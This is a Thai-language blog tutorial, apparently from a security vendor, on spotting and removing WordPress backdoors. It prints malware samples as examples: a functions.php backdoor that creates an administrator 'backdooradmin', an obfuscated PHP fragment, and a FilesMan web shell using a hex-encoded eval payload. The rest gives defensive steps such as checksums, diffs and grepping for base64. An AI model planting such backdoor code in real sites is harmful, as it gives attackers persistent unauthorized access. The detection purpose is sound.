Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> ระบบเครือข่าย >> ความปลอดภัยเครือข่าย

การโจมตี Backdoor บน WordPress: อาการ การตรวจจับ และการแก้ไขที่มีประสิทธิภาพ

WordPress Backdoor คืออะไร?

ทุกปีมีเว็บไซต์ WordPress หลายพันแห่งถูกติดเชื้อ และจำนวนเพิ่มขึ้นเรื่อยๆ เว็บไซต์ที่ถูกแฮ็กเหล่านี้ถูกใช้เพื่อกระจายการฉ้อโกงและสแปม บ่อยครั้งเจ้าของและนักพัฒนาไม่รู้ว่าติดเชื้อ การติดเชื้ออาจคงอยู่ (Persistent) หรือไม่ก็ได้ ดังนั้น WordPress Backdoor ช่วยรักษาความคงที่นี้ WordPress Backdoor คือโค้ดที่อนุญาตให้โจมตีเข้าถึง Server แบบไม่ได้รับอนุญาตและคงอยู่ บ่อยครั้งเป็นไฟล์อันตรายซ่อนอยู่ที่ไหนที่นี่ หรือเป็นปลั๊กอินที่ติดเชื้อ ทุกเดือนมีรูปแบบใหม่ของ WordPress Backdoor Hack

แฮกเกอร์อยู่ในเกมตลอดเวลา พยายามฉีด WordPress Backdoor ตลอดหลายปี หลายปลั๊กอินถูกใช้กระจายการติดเชื้อ ดังนั้นภัยคุกคามอาจมาจากทุกที่ การลบ WordPress Backdoors ภายหลังอาจใช้เวลาและทรัพยากรมาก แต่มาตรการป้องกันสามารถควบคุมความเสียหายได้ เว็บ WordPress ที่ปลอดภัยสามารถล่าช้าหรือป้องกันการโจมตีได้ บล็อกนี้จะเรียนรู้การหาและแก้ WordPress Backdoor

คู่มือเกี่ยวข้อง – คู่มือ WordPress Security เต็มรูปแบบ (ลดความเสี่ยงโดนแฮกลง 90%)

อะไรนำไปสู่ WordPress Backdoor Hack?

การตั้งค่า WordPress ค่อนข้างสะดวก แต่มีช่องว่างหลายอย่างนำไปสู่ Backdoor เพื่อความสะดวก จำกัดเพียงไม่กี่อย่าง:

  • บางครั้งมาจากปลั๊กอินหรือธีมที่มีข้อบกพร่อง
  • ข้อมูลเข้าสู่ระบบอาจอ่อนแอหรือเป็นค่าเริ่มต้น
  • File Permissions อ่อนแอ ทำให้ไฟล์สำคัญเข้าถึงได้
  • ไม่ใช้ Firewall หรือ Security Solution
  • Installation ล้าสมัย
  • ใช้ Server ติดเชื้อร่วมกับเว็บอื่น ถาม Provider เรื่อง Subnets
การโจมตี Backdoor บน WordPress: อาการ การตรวจจับ และการแก้ไขที่มีประสิทธิภาพ

การค้นหา WordPress Backdoor

ค้นหา Backdoor ใน Themes

Inactive Themes เป็นที่ดีที่สุดซ่อน WordPress Backdoor แฮกเกอร์รู้เรื่องนี้และมักค้นหาบนเว็บไซต์ของคุณ เหตุผลคือคุณไม่น่าจะไปดูที่นี่ เพราะมัน Inactive WP Themes มีไฟล์สำคัญชื่อ functions.php ไฟล์นี้เรียก Native PHP, WordPress และฟังก์ชันอื่นๆ ในคำง่ายๆ ใช้ทำ Operation อะไรก็ได้ บ่อยครั้งโจมตีพยายามฉีดไฟล์นี้เพื่อ Backdoor ตัวอย่างในภาพด้านล่าง

การโจมตี Backdoor บน WordPress: อาการ การตรวจจับ และการแก้ไขที่มีประสิทธิภาพ

นี่คือโค้ดอันตรายใน functions.php จะถูก Trigger เมื่อโจมตีเข้าชม URL www.yoursite.com/wp-includes/registration.php แล้วฟังก์ชันนี้สร้าง User ใหม่พร้อม

id: backdooradmin

password: Pa55W0rd.

แม้คุณลบ User นี้ มันสามารถสร้างใหม่ได้อีกโดยเข้าชม URL นี้ อีกครั้ง นี่คือตัวอย่างคลาสสิกของ WordPress Backdoor โค้ดนี้แทรกได้ก็ต่อเมื่อมีการเข้าถึง Server ก่อน อาจใช้ Open FTP Port หรือช่องว่างอื่น

กังวล Backdoor ใน WordPress? ส่งข้อความใน Chat Widget เราช่วยแก้ได้ ปลอดภัย WordPress ตอนนี้

ค้นหา Backdoor ใน Plugins

WordPress Backdoor Hack บ่อยครั้งมาจากปลั๊กอินที่มีข้อบกพร่อง ตลอดหลายปี หลายปลั๊กอินถูกพบว่ามีบั๊ก ปีนี้ Contact Form 7 เป็นตัวล่าสุด มีผู้ใช้งาน 5 ล้าน+ แต่บั๊กนำไปสู่ Privilege Escalation หากไฟล์ปลั๊กอินถูกแก้ไข อาจไม่มองเห็นใน Dashboard แต่ FTP Search อาจเปิดเผยไฟล์เหล่านี้ เพื่อดูถูกต้อง Backdoor Files ถูกตั้งชื่อเป็น Help Files เหตุผลที่ Backdoor อยู่ใน Plugins:

  • ปลั๊กอินไม่ได้ใช้งาน น่าจะติดเชื้อมากกว่า เพราะซ่อน Backdoor ได้นาน
  • ปลั๊กอินที่ไม่น่าเชื่อถือและไม่ได้รับความนิยม มักเขียนโค้ดแย่ เพิ่มโอกาส Backdoor Hack
  • ปลั๊กอินล้าสมัย เป็นเป้าหมายง่าย เพราะหลายคนยังรันโดยไม่อัปเดต
  • ปลั๊กอินที่มีบั๊กเหล่านี้ช่วยแก้ไข Core Files อื่นๆ ได้

ดังนั้นระวังปลั๊กอินไม่รู้จัก ลบปลั๊กอินที่ไม่ได้ใช้!

ค้นหา Backdoor ใน Installation Files

การแก้ไข Core Files เกิดขึ้นต่อจากปลั๊กอินติดเชื้อ ใน Core Files อาจมีโค้ดไม่พึงประสงค์ หรือไฟล์ใหม่ปรากฏ บางครั้ง Backdoor ดูแบบนี้:

$t43="l/T6\\:aAcNLn#?rP}1\rG_ -s`SZ\$58t\n7E{.*]ixy3h,COKR2dW[0!U\tuQIHf4bYm>wFz<admin@wsxdn.com&(BjX'~|ge%p+oMJv^);\"k9";
$GLOBALS['ofmhl60'] = ${$t43[20].$t43

โค้ดนี้ Obfuscate ด้วยเทคนิคที่รู้จัก ทำให้ยากต่อการอ่านโดยมนุษย์ ดังนั้นระวังโค้ดที่ดูขี้เกียจแบบนี้และลบไฟล์ที่มีมัน บางครั้ง Backdoor แปลงเป็นไฟล์ที่ดูถูกต้อง เช่น xml.php, media.php, plugin.php ฯลฯ อย่าข้ามไฟล์ใดๆ แม้ดูถูกต้อง นอกจากนี้ยังมีเทคนิคอื่นทำให้โค้ดยากต่อการอ่าน

ระวัง คีย์เวิร์ด FilesMan ในไฟล์ของคุณ เช่นนี่คือ Dump ของ Backdoor ที่ดัง Filesman: 02 Backdoor นี้ยากต่อการตรวจจับและไม่ปรากฏใน Logs ใช้ขโมยรหัสผ่านและรายละเอียดอื่นๆ

<?php
$auth_pass = "";
$color = "#df5";
$default_action = "FilesMan";
$default_charset = "Windows-1251";
preg_replace("/.*/e","x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28'7b1tVxs50jD8OXvO9R9Er3fanhhjm2Q2Y7ADIZCQSSAD5GUC3N623bZ7aLs93W0Mk+W/31Wll5b6xZhkdq/7OedhJtDdKpVKUkkqlapK3rDM1tzJLL4tl7qn+ycf90/O7ddnZ++7H+Ctu/t..NRCty4s8Uh1VQKxLg+xQC0T93+IV4sxw/c08okR1wKtoyadLX6Dl6tDg3WxVxFoHhkj6Yn/xc='x29x29x29x3B",".");
?>

เช่น โค้ดบรรทัด 6 อยู่ในรูป Hexadecimal แปลงแล้วจะประมาณ: preg_replace("/.*/e","eval(gzinfla\ มีเครื่องมือออนไลน์ Decode Hex ใช้ได้! โจมตีอาจซ่อนโค้ดด้วย Base64 Encoding จัดการคล้ายๆ กัน ที่นี่คีย์เวิร์ด FilesMan อยู่บรรทัด 4 รูปแบบของการติดเชื้อนี้มีคีย์เวิร์ดนี้ บางครั้งโค้ดอาจจัดการไฟล์สำคัญอย่าง .htaccess ดูไฟล์นี้ดีๆ!

วิธีแก้ WordPress Backdoor Hack

เปรียบเทียบ Checksum

ขั้นแรก เปรียบเทียบ Checksums เป็น Heuristic การกำหนด File Integrity ทำ Manual Inspection ได้ มี Auto Tools สำหรับนี้ ไม่แค่ Core Files แต่ Plugins และ Themes ก็มี Checksums เพิ่มเติม คุณสามารถสร้าง Personal Blacklist จาก Public Lists ได้ หลัง Checksums ไม่ตรง ให้ดำเนินการลบ WordPress Backdoor ด้วยตนเอง

ต้องการความช่วยเหลือมืออาชีพลบ WordPress Backdoors? ส่งข้อความใน Chat Widget เราช่วยแก้ได้ ซ่อม WordPress ตอนนี้

ความสมบูรณ์ของ Core Files

สอง หลังไฟล์แสดง Checkcloud values ต่างกัน ตรวจสอบด้วยตนเอง น่าจะเป็น Backdoor Hack ที่จัดการไฟล์ ตรวจสอบ Integrity ของ Installation Files ดาวน์โหลด WordPress ใหม่ก่อน

$ mkdir WordPress

$ cd WordPress

คำสั่งนี้สร้าง Directory ชื่อ WordPress และ Switch ไปที่นั่น

$ wget https://github.com/WordPress/WordPress/archive/4.9.8.zip 

$ tar -zxvf 4.9.8.zip

ดาวน์โหลด WordPress ล่าสุด (ในที่นี้ 4.9.8) บรรทัดแรก บรรทัดที่สอง Extract แล้วขั้นสำคัญ $ diff -r path/to/your/file.php /Wordpress/wp-cron.php โค้ดนี้เปรียบเทียบความต่างระหว่างสองไฟล์ เนื่องจาก Backdoor แก้ไขไฟล์ของคุณ การเปลี่ยนแปลงจะแสดง บางไฟล์เป็น Dynamic อย่าง xmlrpc.php ไฟล์นี้ช่วย User/Services โต้ตอบกับไซต์ผ่าน RPC แฮกเกอร์รู้และมักซ่อน Backdoor ที่นี่ ตรวจสอบให้ดีเพื่อหาและลบ Backdoor

การเข้ารหัส (Encodings)

บางครั้งไฟล์อาจถูกแก้ไขแต่อ่านไม่เข้าใจ เริ่มทำความสะอาด Backdoor Hack โดยหา Base64 Encodings คำสั่ง grep ทำได้ ใช้คำสั่ง:

find . -name "*.php" -exec grep "base64"'{}'\; -print &> output.txt

คำสั่งนี้รายการ Base64 Detections ทั้งหมดใน output.txt ตั้งแต่นี้ Decode เป็น Plain Text ด้วย Online Tools หากค้นหาในไฟล์อื่นนอก .php แค่แทนคำ *.php ในโค้ด โค้ดอันตรายอาจเป็น Hex Format ด้วย ใช้ grep -Pr "[\x01\x02\x03]" สำหรับ Encoding อื่นๆ ทำซ้ำ ลบไฟล์หรือบรรทัดที่มีโค้ดอันตรายเพื่อลบ Backdoor

ใช้ Server Logs

Server Logs ช่วยลบ WordPress Backdoors ก่อนอื่น ดูไฟล์ไหนถูกแก้ไขหลังวันที่เฉพาะเจาะจง ตรวจสอบ FTP Logs ดู IP ที่เชื่อม Server จับไฟล์ที่แก้ไขล่าสุด ระวังโฟลเดอร์รูปภาพ ไม่คาดหวัง Executable Files ในโฟลเดอร์รูป โฟลเดอร์รูปอาจ Writable ได้ แฮกเกอร์ชอบซ่อน Backdoor ที่นี่ ตรวจสอบ Permission ไฟล์สำคัญเหมาะสม ตั้ง File Permissions เป็น 444 (r–r–r–) หรือ 440 (r–r—–) ดูเฉพาะการเปลี่ยนแปลงในโฟลเดอร์รูปภาพ

อัปเดตและรักษาความปลอดภัย

ความสำคัญของการอัปเดต WordPress ถูกเน้นซ้ำแล้ว Installation ล้าสมัยเหมือนติดเชื้อแล้ว

หากหาสาเหตุ Backdoor Hack ไม่ได้ ให้ Restore จาก Backup หลัง Secure Current Site และเปรียบเทียบสองแบบ

หากยังไม่มี Backup และต้องการแทนที่ Core Files ด้วยใหม่ ต้อง Manual Update WordPress หลัง Backup Current Site

หากปลั๊กอินที่ใช้มี Vulnerability แจ้ง ให้อัปเดตทันที หาก Patch ใช้เวลานาน ให้แทนที่ด้วย Alternatives แนะนำติดตาม Official Blogs เพื่อรับ Patch เร็วที่สุด

ใช้ WordPress Backdoor Scanner

มนุษย์พลาดได้ Manual Scan เหนื่อยและพลาดได้ อาจทำให้ Backdoor Hack กลับมา Soluation คือ Automation มี Tools ขั้นสูงมากตลาด Scanner เหล่านี้ตรวจจับและลบ WordPress Backdoors หนึ่งในนั้นคือ Astra Malware Cleaner ไม่เพียงแค่ทำความสะอาด แต่ยังป้องกันการติดเชื้อในอนาคต ราคาไม่แพง ให้ภาพรวมครบถ้วน ประหยัดทรัพยากรและเวลาของคุณ!